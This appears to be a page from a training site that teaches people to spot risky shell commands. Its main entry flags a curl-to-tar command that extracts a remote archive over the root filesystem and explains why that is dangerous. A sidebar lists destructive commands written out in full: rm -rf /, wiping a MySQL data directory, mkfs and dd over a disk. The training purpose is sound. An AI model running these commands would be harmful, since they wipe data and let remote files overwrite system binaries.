Dangerous: curl -sL https://example.com/patch.tgz | tar -xz -C / --strip-components=1

Dangerous

curl -sL https://example.com/patch.tgz | tar -xz -C / --strip-components=1

linux · bash · Nightmare

Extracts a downloaded archive directly over the root filesystem. Nothing is executed, which is what makes it feel safer than piping to a shell, yet the archive chooses which system files it overwrites — including binaries and unit files that run later.

Signals to notice

Remote archive extracted over /
Archive contents choose which files are overwritten
No inspection step before extraction

Think you can spot these under time pressure?

Start Training

More File System

rm ./build/output.logIntermediate
chmod +x ./scripts/deploy.shIntermediate
sudo rm -rf / --no-preserve-rootIntermediate
sudo rm -rf /var/lib/mysqlIntermediate
mkfs.ext4 /dev/sda1Intermediate
dd if=/dev/zero of=/dev/sda bs=1MIntermediate